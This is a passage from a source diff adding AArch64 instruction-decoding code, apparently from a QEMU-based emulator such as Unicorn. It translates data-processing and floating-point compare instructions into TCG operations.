tcg_gen_ext32u_i64(tcg_ctx, tcg_rd, tcg_rd); + } + } else { + if (sf) { + tcg_gen_mov_i64(tcg_ctx, tcg_rd, tcg_rm); + } else { + tcg_gen_ext32u_i64(tcg_ctx, tcg_rd, tcg_rm); + } + } + return; + } + + tcg_rm = read_cpu_reg(s, rm, sf); + + if (shift_amount) { + shift_reg_imm(tcg_ctx, tcg_rm, tcg_rm, sf, shift_type, shift_amount); + } + + tcg_rn = cpu_reg(s, rn); + + switch (opc | (invert << 2)) { + case 0: /* AND */ + case 3: /* ANDS */ + tcg_gen_and_i64(tcg_ctx, tcg_rd, tcg_rn, tcg_rm); + break; + case 1: /* ORR */ + tcg_gen_or_i64(tcg_ctx, tcg_rd, tcg_rn, tcg_rm); + break; + case 2: /* EOR */ + tcg_gen_xor_i64(tcg_ctx, tcg_rd, tcg_rn, tcg_rm); + break; + case 4: /* BIC */ + case 7: /* BICS */ + tcg_gen_andc_i64(tcg_ctx, tcg_rd, tcg_rn, tcg_rm); + break; + case 5: /* ORN */ + tcg_gen_orc_i64(tcg_ctx, tcg_rd, tcg_rn, tcg_rm); + break; + case 6: /* EON */ + tcg_gen_eqv_i64(tcg_ctx, tcg_rd, tcg_rn, tcg_rm); + break; + default: + assert(FALSE); + break; + } + + if (!sf) { + tcg_gen_ext32u_i64(tcg_ctx, tcg_rd, tcg_rd); + } + + if (opc == 3) { + gen_logic_CC(tcg_ctx, sf, tcg_rd); + } +} + +/* + * C3.5.1 Add/subtract (extended register) + * + * 31|30|29|28 24|23 22|21|20 16|15 13|12 10|9 5|4 0| + * +--+--+--+-----------+-----+--+-------+------+------+----+----+ + * |sf|op| S| 0 1 0 1 1 | opt | 1| Rm |option| imm3 | Rn | Rd | + * +--+--+--+-----------+-----+--+-------+------+------+----+----+ + * + * sf: 0 -> 32bit, 1 -> 64bit + * op: 0 -> add , 1 -> sub + * S: 1 -> set flags + * opt: 00 + * option: extension type (see DecodeRegExtend) + * imm3: optional shift to Rm + * + * Rd = Rn + LSL(extend(Rm), amount) + */ +static void disas_add_sub_ext_reg(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rd = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int imm3 = extract32(insn, 10, 3); + int option = extract32(insn, 13, 3); + int rm = extract32(insn, 16, 5); + bool setflags = extract32(insn, 29, 1); + bool sub_op = extract32(insn, 30, 1); + bool sf = extract32(insn, 31, 1); + + TCGv_i64 tcg_rm, tcg_rn; /* temps */ + TCGv_i64 tcg_rd; + TCGv_i64 tcg_result; + + if (imm3 > 4) { + unallocated_encoding(s); + return; + } + + /* non-flag setting ops may use SP */ + if (!setflags) { + tcg_rd = cpu_reg_sp(s, rd); + } else { + tcg_rd = cpu_reg(s, rd); + } + tcg_rn = read_cpu_reg_sp(s, rn, sf); + + tcg_rm = read_cpu_reg(s, rm, sf); + ext_and_shift_reg(tcg_ctx, tcg_rm, tcg_rm, option, imm3); + + tcg_result = tcg_temp_new_i64(tcg_ctx); + + if (!setflags) { + if (sub_op) { + tcg_gen_sub_i64(tcg_ctx, tcg_result, tcg_rn, tcg_rm); + } else { + tcg_gen_add_i64(tcg_ctx, tcg_result, tcg_rn, tcg_rm); + } + } else { + if (sub_op) { + gen_sub_CC(s, sf, tcg_result, tcg_rn, tcg_rm); + } else { + gen_add_CC(s, sf, tcg_result, tcg_rn, tcg_rm); + } + } + + if (sf) { + tcg_gen_mov_i64(tcg_ctx, tcg_rd, tcg_result); + } else { + tcg_gen_ext32u_i64(tcg_ctx, tcg_rd, tcg_result); + } + + tcg_temp_free_i64(tcg_ctx, tcg_result); +} + +/* + * C3.5.2 Add/subtract (shifted register) + * + * 31 30 29 28 24 23 22 21 20 16 15 10 9 5 4 0 + * +--+--+--+-----------+-----+--+-------+---------+------+------+ + * |sf|op| S| 0 1 0 1 1 |shift| 0| Rm | imm6 | Rn | Rd | + * +--+--+--+-----------+-----+--+-------+---------+------+------+ + * + * sf: 0 -> 32bit, 1 -> 64bit + * op: 0 -> add , 1 -> sub + * S: 1 -> set flags + * shift: 00 -> LSL, 01 -> LSR, 10 -> ASR, 11 -> RESERVED + * imm6: Shift amount to apply to Rm before the add/sub + */ +static void disas_add_sub_reg(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rd = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int imm6 = extract32(insn, 10, 6); + int rm = extract32(insn, 16, 5); + int shift_type = extract32(insn, 22, 2); + bool setflags = extract32(insn, 29, 1); + bool sub_op = extract32(insn, 30, 1); + bool sf = extract32(insn, 31, 1); + + TCGv_i64 tcg_rd = cpu_reg(s, rd); + TCGv_i64 tcg_rn, tcg_rm; + TCGv_i64 tcg_result; + + if ((shift_type == 3) || (!sf && (imm6 > 31))) { + unallocated_encoding(s); + return; + } + + tcg_rn = read_cpu_reg(s, rn, sf); + tcg_rm = read_cpu_reg(s, rm, sf); + + shift_reg_imm(tcg_ctx, tcg_rm, tcg_rm, sf, shift_type, imm6); + + tcg_result = tcg_temp_new_i64(tcg_ctx); + + if (!setflags) { + if (sub_op) { + tcg_gen_sub_i64(tcg_ctx, tcg_result, tcg_rn, tcg_rm); + } else { + tcg_gen_add_i64(tcg_ctx, tcg_result, tcg_rn, tcg_rm); + } + } else { + if (sub_op) { + gen_sub_CC(s, sf, tcg_result, tcg_rn, tcg_rm); + } else { + gen_add_CC(s, sf, tcg_result, tcg_rn, tcg_rm); + } + } + + if (sf) { + tcg_gen_mov_i64(tcg_ctx, tcg_rd, tcg_result); + } else { + tcg_gen_ext32u_i64(tcg_ctx, tcg_rd, tcg_result); + } + + tcg_temp_free_i64(tcg_ctx, tcg_result); +} + +/* C3.5.9 Data-processing (3 source) + + 31 30 29 28 24 23 21 20 16 15 14 10 9 5 4 0 + +--+------+-----------+------+------+----+------+------+------+ + |sf| op54 | 1 1 0 1 1 | op31 | Rm | o0 | Ra | Rn | Rd | + +--+------+-----------+------+------+----+------+------+------+ + + */ +static void disas_data_proc_3src(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rd = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int ra = extract32(insn, 10, 5); + int rm = extract32(insn, 16, 5); + int op_id = (extract32(insn, 29, 3) << 4) | + (extract32(insn, 21, 3) << 1) | + extract32(insn, 15, 1); + bool sf = extract32(insn, 31, 1); + bool is_sub = extract32(op_id, 0, 1); + bool is_high = extract32(op_id, 2, 1); + bool is_signed = false; + TCGv_i64 tcg_op1; + TCGv_i64 tcg_op2; + TCGv_i64 tcg_tmp; + + /* Note that op_id is sf:op54:op31:o0 so it includes the 32/64 size flag */ + switch (op_id) { + case 0x42: /* SMADDL */ + case 0x43: /* SMSUBL */ + case 0x44: /* SMULH */ + is_signed = true; + break; + case 0x0: /* MADD (32bit) */ + case 0x1: /* MSUB (32bit) */ + case 0x40: /* MADD (64bit) */ + case 0x41: /* MSUB (64bit) */ + case 0x4a: /* UMADDL */ + case 0x4b: /* UMSUBL */ + case 0x4c: /* UMULH */ + break; + default: + unallocated_encoding(s); + return; + } + + if (is_high) { + TCGv_i64 low_bits = tcg_temp_new_i64(tcg_ctx); /* low bits discarded */ + TCGv_i64 tcg_rd = cpu_reg(s, rd); + TCGv_i64 tcg_rn = cpu_reg(s, rn); + TCGv_i64 tcg_rm = cpu_reg(s, rm); + + if (is_signed) { + tcg_gen_muls2_i64(tcg_ctx, low_bits, tcg_rd, tcg_rn, tcg_rm); + } else { + tcg_gen_mulu2_i64(tcg_ctx, low_bits, tcg_rd, tcg_rn, tcg_rm); + } + + tcg_temp_free_i64(tcg_ctx, low_bits); + return; + } + + tcg_op1 = tcg_temp_new_i64(tcg_ctx); + tcg_op2 = tcg_temp_new_i64(tcg_ctx); + tcg_tmp = tcg_temp_new_i64(tcg_ctx); + + if (op_id < 0x42) { + tcg_gen_mov_i64(tcg_ctx, tcg_op1, cpu_reg(s, rn)); + tcg_gen_mov_i64(tcg_ctx, tcg_op2, cpu_reg(s, rm)); + } else { + if (is_signed) { + tcg_gen_ext32s_i64(tcg_ctx, tcg_op1, cpu_reg(s, rn)); + tcg_gen_ext32s_i64(tcg_ctx, tcg_op2, cpu_reg(s, rm)); + } else { + tcg_gen_ext32u_i64(tcg_ctx, tcg_op1, cpu_reg(s, rn)); + tcg_gen_ext32u_i64(tcg_ctx, tcg_op2, cpu_reg(s, rm)); + } + } + + if (ra == 31 && !is_sub) { + /* Special-case MADD with rA == XZR; it is the standard MUL alias */ + tcg_gen_mul_i64(tcg_ctx, cpu_reg(s, rd), tcg_op1, tcg_op2); + } else { + tcg_gen_mul_i64(tcg_ctx, tcg_tmp, tcg_op1, tcg_op2); + if (is_sub) { + tcg_gen_sub_i64(tcg_ctx, cpu_reg(s, rd), cpu_reg(s, ra), tcg_tmp); + } else { + tcg_gen_add_i64(tcg_ctx, cpu_reg(s, rd), cpu_reg(s, ra), tcg_tmp); + } + } + + if (!sf) { + tcg_gen_ext32u_i64(tcg_ctx, cpu_reg(s, rd), cpu_reg(s, rd)); + } + + tcg_temp_free_i64(tcg_ctx, tcg_op1); + tcg_temp_free_i64(tcg_ctx, tcg_op2); + tcg_temp_free_i64(tcg_ctx, tcg_tmp); +} + +/* C3.5.3 - Add/subtract (with carry) + * 31 30 29 28 27 26 25 24 23 22 21 20 16 15 10 9 5 4 0 + * +--+--+--+------------------------+------+---------+------+-----+ + * |sf|op| S| 1 1 0 1 0 0 0 0 | rm | opcode2 | Rn | Rd | + * +--+--+--+------------------------+------+---------+------+-----+ + * [000000] + */ + +static void disas_adc_sbc(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + unsigned int sf, op, setflags, rm, rn, rd; + TCGv_i64 tcg_y, tcg_rn, tcg_rd; + + if (extract32(insn, 10, 6) != 0) { + unallocated_encoding(s); + return; + } + + sf = extract32(insn, 31, 1); + op = extract32(insn, 30, 1); + setflags = extract32(insn, 29, 1); + rm = extract32(insn, 16, 5); + rn = extract32(insn, 5, 5); + rd = extract32(insn, 0, 5); + + tcg_rd = cpu_reg(s, rd); + tcg_rn = cpu_reg(s, rn); + + if (op) { + tcg_y = new_tmp_a64(s); + tcg_gen_not_i64(tcg_ctx, tcg_y, cpu_reg(s, rm)); + } else { + tcg_y = cpu_reg(s, rm); + } + + if (setflags) { + gen_adc_CC(s, sf, tcg_rd, tcg_rn, tcg_y); + } else { + gen_adc(s, sf, tcg_rd, tcg_rn, tcg_y); + } +} + +/* C3.5.4 - C3.5.5 Conditional compare (immediate / register) + * 31 30 29 28 27 26 25 24 23 22 21 20 16 15 12 11 10 9 5 4 3 0 + * +--+--+--+------------------------+--------+------+----+--+------+--+-----+ + * |sf|op| S| 1 1 0 1 0 0 1 0 |imm5/rm | cond |i/r |o2| Rn |o3|nzcv | + * +--+--+--+------------------------+--------+------+----+--+------+--+-----+ + * [1] y [0] [0] + */ +static void disas_cc(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + unsigned int sf, op, y, cond, rn, nzcv, is_imm; + int label_continue = -1; + TCGv_i64 tcg_tmp, tcg_y, tcg_rn; + + if (!extract32(insn, 29, 1)) { + unallocated_encoding(s); + return; + } + if (insn & (1 << 10 | 1 << 4)) { + unallocated_encoding(s); + return; + } + sf = extract32(insn, 31, 1); + op = extract32(insn, 30, 1); + is_imm = extract32(insn, 11, 1); + y = extract32(insn, 16, 5); /* y = rm (reg) or imm5 (imm) */ + cond = extract32(insn, 12, 4); + rn = extract32(insn, 5, 5); + nzcv = extract32(insn, 0, 4); + + if (cond < 0x0e) { /* not always */ + int label_match = gen_new_label(tcg_ctx); + label_continue = gen_new_label(tcg_ctx); + arm_gen_test_cc(tcg_ctx, cond, label_match); + /* nomatch: */ + tcg_tmp = tcg_temp_new_i64(tcg_ctx); + tcg_gen_movi_i64(tcg_ctx, tcg_tmp, nzcv << 28); + gen_set_nzcv(tcg_ctx, tcg_tmp); + tcg_temp_free_i64(tcg_ctx, tcg_tmp); + tcg_gen_br(tcg_ctx, label_continue); + gen_set_label(tcg_ctx, label_match); + } + /* match, or condition is always */ + if (is_imm) { + tcg_y = new_tmp_a64(s); + tcg_gen_movi_i64(tcg_ctx, tcg_y, y); + } else { + tcg_y = cpu_reg(s, y); + } + tcg_rn = cpu_reg(s, rn); + + tcg_tmp = tcg_temp_new_i64(tcg_ctx); + if (op) { + gen_sub_CC(s, sf, tcg_tmp, tcg_rn, tcg_y); + } else { + gen_add_CC(s, sf, tcg_tmp, tcg_rn, tcg_y); + } + tcg_temp_free_i64(tcg_ctx, tcg_tmp); + + if (cond < 0x0e) { /* continue */ + gen_set_label(tcg_ctx, label_continue); + } +} + +/* C3.5.6 Conditional select + * 31 30 29 28 21 20 16 15 12 11 10 9 5 4 0 + * +----+----+---+-----------------+------+------+-----+------+------+ + * | sf | op | S | 1 1 0 1 0 1 0 0 | Rm | cond | op2 | Rn | Rd | + * +----+----+---+-----------------+------+------+-----+------+------+ + */ +static void disas_cond_select(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + unsigned int sf, else_inv, rm, cond, else_inc, rn, rd; + TCGv_i64 tcg_rd, tcg_src; + + if (extract32(insn, 29, 1) || extract32(insn, 11, 1)) { + /* S == 1 or op2<1> == 1 */ + unallocated_encoding(s); + return; + } + sf = extract32(insn, 31, 1); + else_inv = extract32(insn, 30, 1); + rm = extract32(insn, 16, 5); + cond = extract32(insn, 12, 4); + else_inc = extract32(insn, 10, 1); + rn = extract32(insn, 5, 5); + rd = extract32(insn, 0, 5); + + if (rd == 31) { + /* silly no-op write; until we use movcond we must special-case + * this to avoid a dead temporary across basic blocks. + */ + return; + } + + tcg_rd = cpu_reg(s, rd); + + if (cond >= 0x0e) { /* condition "always" */ + tcg_src = read_cpu_reg(s, rn, sf); + tcg_gen_mov_i64(tcg_ctx, tcg_rd, tcg_src); + } else { + /* OPTME: we could use movcond here, at the cost of duplicating + * a lot of the arm_gen_test_cc() logic. + */ + int label_match = gen_new_label(tcg_ctx); + int label_continue = gen_new_label(tcg_ctx); + + arm_gen_test_cc(tcg_ctx, cond, label_match); + /* nomatch: */ + tcg_src = cpu_reg(s, rm); + + if (else_inv && else_inc) { + tcg_gen_neg_i64(tcg_ctx, tcg_rd, tcg_src); + } else if (else_inv) { + tcg_gen_not_i64(tcg_ctx, tcg_rd, tcg_src); + } else if (else_inc) { + tcg_gen_addi_i64(tcg_ctx, tcg_rd, tcg_src, 1); + } else { + tcg_gen_mov_i64(tcg_ctx, tcg_rd, tcg_src); + } + if (!sf) { + tcg_gen_ext32u_i64(tcg_ctx, tcg_rd, tcg_rd); + } + tcg_gen_br(tcg_ctx, label_continue); + /* match: */ + gen_set_label(tcg_ctx, label_match); + tcg_src = read_cpu_reg(s, rn, sf); + tcg_gen_mov_i64(tcg_ctx, tcg_rd, tcg_src); + /* continue: */ + gen_set_label(tcg_ctx, label_continue); + } +} + +static void handle_clz(DisasContext *s, unsigned int sf, + unsigned int rn, unsigned int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tcg_rd, tcg_rn; + tcg_rd = cpu_reg(s, rd); + tcg_rn = cpu_reg(s, rn); + + if (sf) { + gen_helper_clz64(tcg_ctx, tcg_rd, tcg_rn); + } else { + TCGv_i32 tcg_tmp32 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_tmp32, tcg_rn); + gen_helper_clz(tcg_ctx, tcg_tmp32, tcg_tmp32); + tcg_gen_extu_i32_i64(tcg_ctx, tcg_rd, tcg_tmp32); + tcg_temp_free_i32(tcg_ctx, tcg_tmp32); + } +} + +static void handle_cls(DisasContext *s, unsigned int sf, + unsigned int rn, unsigned int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tcg_rd, tcg_rn; + tcg_rd = cpu_reg(s, rd); + tcg_rn = cpu_reg(s, rn); + + if (sf) { + gen_helper_cls64(tcg_ctx, tcg_rd, tcg_rn); + } else { + TCGv_i32 tcg_tmp32 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_tmp32, tcg_rn); + gen_helper_cls32(tcg_ctx, tcg_tmp32, tcg_tmp32); + tcg_gen_extu_i32_i64(tcg_ctx, tcg_rd, tcg_tmp32); + tcg_temp_free_i32(tcg_ctx, tcg_tmp32); + } +} + +static void handle_rbit(DisasContext *s, unsigned int sf, + unsigned int rn, unsigned int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tcg_rd, tcg_rn; + tcg_rd = cpu_reg(s, rd); + tcg_rn = cpu_reg(s, rn); + + if (sf) { + gen_helper_rbit64(tcg_ctx, tcg_rd, tcg_rn); + } else { + TCGv_i32 tcg_tmp32 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_tmp32, tcg_rn); + gen_helper_rbit(tcg_ctx, tcg_tmp32, tcg_tmp32); + tcg_gen_extu_i32_i64(tcg_ctx, tcg_rd, tcg_tmp32); + tcg_temp_free_i32(tcg_ctx, tcg_tmp32); + } +} + +/* C5.6.149 REV with sf==1, opcode==3 ("REV64") */ +static void handle_rev64(DisasContext *s, unsigned int sf, + unsigned int rn, unsigned int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (!sf) { + unallocated_encoding(s); + return; + } + tcg_gen_bswap64_i64(tcg_ctx, cpu_reg(s, rd), cpu_reg(s, rn)); +} + +/* C5.6.149 REV with sf==0, opcode==2 + * C5.6.151 REV32 (sf==1, opcode==2) + */ +static void handle_rev32(DisasContext *s, unsigned int sf, + unsigned int rn, unsigned int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tcg_rd = cpu_reg(s, rd); + + if (sf) { + TCGv_i64 tcg_tmp = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_rn = read_cpu_reg(s, rn, sf); + + /* bswap32_i64 requires zero high word */ + tcg_gen_ext32u_i64(tcg_ctx, tcg_tmp, tcg_rn); + tcg_gen_bswap32_i64(tcg_ctx, tcg_rd, tcg_tmp); + tcg_gen_shri_i64(tcg_ctx, tcg_tmp, tcg_rn, 32); + tcg_gen_bswap32_i64(tcg_ctx, tcg_tmp, tcg_tmp); + tcg_gen_concat32_i64(tcg_ctx, tcg_rd, tcg_rd, tcg_tmp); + + tcg_temp_free_i64(tcg_ctx, tcg_tmp); + } else { + tcg_gen_ext32u_i64(tcg_ctx, tcg_rd, cpu_reg(s, rn)); + tcg_gen_bswap32_i64(tcg_ctx, tcg_rd, tcg_rd); + } +} + +/* C5.6.150 REV16 (opcode==1) */ +static void handle_rev16(DisasContext *s, unsigned int sf, + unsigned int rn, unsigned int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tcg_rd = cpu_reg(s, rd); + TCGv_i64 tcg_tmp = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_rn = read_cpu_reg(s, rn, sf); + + tcg_gen_andi_i64(tcg_ctx, tcg_tmp, tcg_rn, 0xffff); + tcg_gen_bswap16_i64(tcg_ctx, tcg_rd, tcg_tmp); + + tcg_gen_shri_i64(tcg_ctx, tcg_tmp, tcg_rn, 16); + tcg_gen_andi_i64(tcg_ctx, tcg_tmp, tcg_tmp, 0xffff); + tcg_gen_bswap16_i64(tcg_ctx, tcg_tmp, tcg_tmp); + tcg_gen_deposit_i64(tcg_ctx, tcg_rd, tcg_rd, tcg_tmp, 16, 16); + + if (sf) { + tcg_gen_shri_i64(tcg_ctx, tcg_tmp, tcg_rn, 32); + tcg_gen_andi_i64(tcg_ctx, tcg_tmp, tcg_tmp, 0xffff); + tcg_gen_bswap16_i64(tcg_ctx, tcg_tmp, tcg_tmp); + tcg_gen_deposit_i64(tcg_ctx, tcg_rd, tcg_rd, tcg_tmp, 32, 16); + + tcg_gen_shri_i64(tcg_ctx, tcg_tmp, tcg_rn, 48); + tcg_gen_bswap16_i64(tcg_ctx, tcg_tmp, tcg_tmp); + tcg_gen_deposit_i64(tcg_ctx, tcg_rd, tcg_rd, tcg_tmp, 48, 16); + } + + tcg_temp_free_i64(tcg_ctx, tcg_tmp); +} + +/* C3.5.7 Data-processing (1 source) + * 31 30 29 28 21 20 16 15 10 9 5 4 0 + * +----+---+---+-----------------+---------+--------+------+------+ + * | sf | 1 | S | 1 1 0 1 0 1 1 0 | opcode2 | opcode | Rn | Rd | + * +----+---+---+-----------------+---------+--------+------+------+ + */ +static void disas_data_proc_1src(DisasContext *s, uint32_t insn) +{ + unsigned int sf, opcode, rn, rd; + + if (extract32(insn, 29, 1) || extract32(insn, 16, 5)) { + unallocated_encoding(s); + return; + } + + sf = extract32(insn, 31, 1); + opcode = extract32(insn, 10, 6); + rn = extract32(insn, 5, 5); + rd = extract32(insn, 0, 5); + + switch (opcode) { + case 0: /* RBIT */ + handle_rbit(s, sf, rn, rd); + break; + case 1: /* REV16 */ + handle_rev16(s, sf, rn, rd); + break; + case 2: /* REV32 */ + handle_rev32(s, sf, rn, rd); + break; + case 3: /* REV64 */ + handle_rev64(s, sf, rn, rd); + break; + case 4: /* CLZ */ + handle_clz(s, sf, rn, rd); + break; + case 5: /* CLS */ + handle_cls(s, sf, rn, rd); + break; + } +} + +static void handle_div(DisasContext *s, bool is_signed, unsigned int sf, + unsigned int rm, unsigned int rn, unsigned int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tcg_n, tcg_m, tcg_rd; + tcg_rd = cpu_reg(s, rd); + + if (!sf && is_signed) { + tcg_n = new_tmp_a64(s); + tcg_m = new_tmp_a64(s); + tcg_gen_ext32s_i64(tcg_ctx, tcg_n, cpu_reg(s, rn)); + tcg_gen_ext32s_i64(tcg_ctx, tcg_m, cpu_reg(s, rm)); + } else { + tcg_n = read_cpu_reg(s, rn, sf); + tcg_m = read_cpu_reg(s, rm, sf); + } + + if (is_signed) { + gen_helper_sdiv64(tcg_ctx, tcg_rd, tcg_n, tcg_m); + } else { + gen_helper_udiv64(tcg_ctx, tcg_rd, tcg_n, tcg_m); + } + + if (!sf) { /* zero extend final result */ + tcg_gen_ext32u_i64(tcg_ctx, tcg_rd, tcg_rd); + } +} + +/* C5.6.115 LSLV, C5.6.118 LSRV, C5.6.17 ASRV, C5.6.154 RORV */ +static void handle_shift_reg(DisasContext *s, + enum a64_shift_type shift_type, unsigned int sf, + unsigned int rm, unsigned int rn, unsigned int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tcg_shift = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_rd = cpu_reg(s, rd); + TCGv_i64 tcg_rn = read_cpu_reg(s, rn, sf); + + tcg_gen_andi_i64(tcg_ctx, tcg_shift, cpu_reg(s, rm), sf ? 63 : 31); + shift_reg(tcg_ctx, tcg_rd, tcg_rn, sf, shift_type, tcg_shift); + tcg_temp_free_i64(tcg_ctx, tcg_shift); +} + +/* CRC32[BHWX], CRC32C[BHWX] */ +static void handle_crc32(DisasContext *s, + unsigned int sf, unsigned int sz, bool crc32c, + unsigned int rm, unsigned int rn, unsigned int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tcg_acc, tcg_val; + TCGv_i32 tcg_bytes; + + if (!arm_dc_feature(s, ARM_FEATURE_CRC) + || (sf == 1 && sz != 3) + || (sf == 0 && sz == 3)) { + unallocated_encoding(s); + return; + } + + if (sz == 3) { + tcg_val = cpu_reg(s, rm); + } else { + uint64_t mask; + switch (sz) { + case 0: + mask = 0xFF; + break; + case 1: + mask = 0xFFFF; + break; + case 2: + mask = 0xFFFFFFFF; + break; + default: + g_assert_not_reached(); + } + tcg_val = new_tmp_a64(s); + tcg_gen_andi_i64(tcg_ctx, tcg_val, cpu_reg(s, rm), mask); + } + + tcg_acc = cpu_reg(s, rn); + tcg_bytes = tcg_const_i32(tcg_ctx, 1 << sz); + + if (crc32c) { + gen_helper_crc32c_64(tcg_ctx, cpu_reg(s, rd), tcg_acc, tcg_val, tcg_bytes); + } else { + gen_helper_crc32_64(tcg_ctx, cpu_reg(s, rd), tcg_acc, tcg_val, tcg_bytes); + } + + tcg_temp_free_i32(tcg_ctx, tcg_bytes); +} + +/* C3.5.8 Data-processing (2 source) + * 31 30 29 28 21 20 16 15 10 9 5 4 0 + * +----+---+---+-----------------+------+--------+------+------+ + * | sf | 0 | S | 1 1 0 1 0 1 1 0 | Rm | opcode | Rn | Rd | + * +----+---+---+-----------------+------+--------+------+------+ + */ +static void disas_data_proc_2src(DisasContext *s, uint32_t insn) +{ + unsigned int sf, rm, opcode, rn, rd; + sf = extract32(insn, 31, 1); + rm = extract32(insn, 16, 5); + opcode = extract32(insn, 10, 6); + rn = extract32(insn, 5, 5); + rd = extract32(insn, 0, 5); + + if (extract32(insn, 29, 1)) { + unallocated_encoding(s); + return; + } + + switch (opcode) { + case 2: /* UDIV */ + handle_div(s, false, sf, rm, rn, rd); + break; + case 3: /* SDIV */ + handle_div(s, true, sf, rm, rn, rd); + break; + case 8: /* LSLV */ + handle_shift_reg(s, A64_SHIFT_TYPE_LSL, sf, rm, rn, rd); + break; + case 9: /* LSRV */ + handle_shift_reg(s, A64_SHIFT_TYPE_LSR, sf, rm, rn, rd); + break; + case 10: /* ASRV */ + handle_shift_reg(s, A64_SHIFT_TYPE_ASR, sf, rm, rn, rd); + break; + case 11: /* RORV */ + handle_shift_reg(s, A64_SHIFT_TYPE_ROR, sf, rm, rn, rd); + break; + case 16: + case 17: + case 18: + case 19: + case 20: + case 21: + case 22: + case 23: /* CRC32 */ + { + int sz = extract32(opcode, 0, 2); + bool crc32c = extract32(opcode, 2, 1); + handle_crc32(s, sf, sz, crc32c, rm, rn, rd); + break; + } + default: + unallocated_encoding(s); + break; + } +} + +/* C3.5 Data processing - register */ +static void disas_data_proc_reg(DisasContext *s, uint32_t insn) +{ + switch (extract32(insn, 24, 5)) { + case 0x0a: /* Logical (shifted register) */ + disas_logic_reg(s, insn); + break; + case 0x0b: /* Add/subtract */ + if (insn & (1 << 21)) { /* (extended register) */ + disas_add_sub_ext_reg(s, insn); + } else { + disas_add_sub_reg(s, insn); + } + break; + case 0x1b: /* Data-processing (3 source) */ + disas_data_proc_3src(s, insn); + break; + case 0x1a: + switch (extract32(insn, 21, 3)) { + case 0x0: /* Add/subtract (with carry) */ + disas_adc_sbc(s, insn); + break; + case 0x2: /* Conditional compare */ + disas_cc(s, insn); /* both imm and reg forms */ + break; + case 0x4: /* Conditional select */ + disas_cond_select(s, insn); + break; + case 0x6: /* Data-processing */ + if (insn & (1 << 30)) { /* (1 source) */ + disas_data_proc_1src(s, insn); + } else { /* (2 source) */ + disas_data_proc_2src(s, insn); + } + break; + default: + unallocated_encoding(s); + break; + } + break; + default: + unallocated_encoding(s); + break; + } +} + +static void handle_fp_compare(DisasContext *s, bool is_double, + unsigned int rn, unsigned int rm, + bool cmp_with_zero, bool signal_all_nans) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tcg_flags = tcg_temp_new_i64(tcg_ctx); + TCGv_ptr fpst = get_fpstatus_ptr(tcg_ctx); + + if (is_double) { + TCGv_i64 tcg_vn, tcg_vm; + + tcg_vn = read_fp_dreg(s, rn); + if (cmp_with_zero) { + tcg_vm = tcg_const_i64(tcg_ctx, 0); + } else { + tcg_vm = read_fp_dreg(s, rm); + } + if (signal_all_nans) { + gen_helper_vfp_cmped_a64(tcg_ctx, tcg_flags, tcg_vn, tcg_vm, fpst); + } else { + gen_helper_vfp_cmpd_a64(tcg_ctx, tcg_flags, tcg_vn, tcg_vm, fpst); + } + tcg_temp_free_i64(tcg_ctx, tcg_vn); + tcg_temp_free_i64(tcg_ctx, tcg_vm); + } else { + TCGv_i32 tcg_vn, tcg_vm; + + tcg_vn = read_fp_sreg(s, rn); + if (cmp_with_zero) { + tcg_vm = tcg_const_i32(tcg_ctx, 0); + } else { + tcg_vm = read_fp_sreg(s, rm); + } + if (signal_all_nans) { + gen_helper_vfp_cmpes_a64(tcg_ctx, tcg_flags, tcg_vn, tcg_vm, fpst); + } else { + gen_helper_vfp_cmps_a64(tcg_ctx, tcg_flags, tcg_vn, tcg_vm, fpst); + } + tcg_temp_free_i32(tcg_ctx, tcg_vn); + tcg_temp_free_i32(tcg_ctx, tcg_vm); + } + + tcg_temp_free_ptr(tcg_ctx, fpst); + + gen_set_nzcv(tcg_ctx, tcg_flags); + + tcg_temp_free_i64(tcg_ctx, tcg_flags); +} + +/* C3.6.22 Floating point compare + * 31 30 29 28 24 23 22 21 20 16 15 14 13 10 9 5 4 0 + * +---+---+---+-----------+------+---+------+-----+---------+------+-------+ + * | M | 0 | S | 1 1 1 1 0 | type | 1 | Rm | op | 1 0 0 0 | Rn | op2 | + * +---+---+---+-----------+------+---+------+-----+---------+------+-------+ + */ +static void disas_fp_compare(DisasContext *s, uint32_t insn) +{ + unsigned int mos, type, rm, op, rn, opc, op2r; + + mos = extract32(insn, 29, 3); + type = extract32(insn, 22, 2); /* 0 = single, 1 = double */ + rm = extract32(insn, 16, 5); + op = extract32(insn, 14, 2); + rn = extract32(insn, 5, 5); + opc = extract32(insn, 3, 2); + op2r = extract32(insn, 0, 3); + + if (mos || op || op2r || type > 1) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + handle_fp_compare(s, type, rn, rm, opc & 1, opc & 2); +} + +/* C3.6.23 Floating point 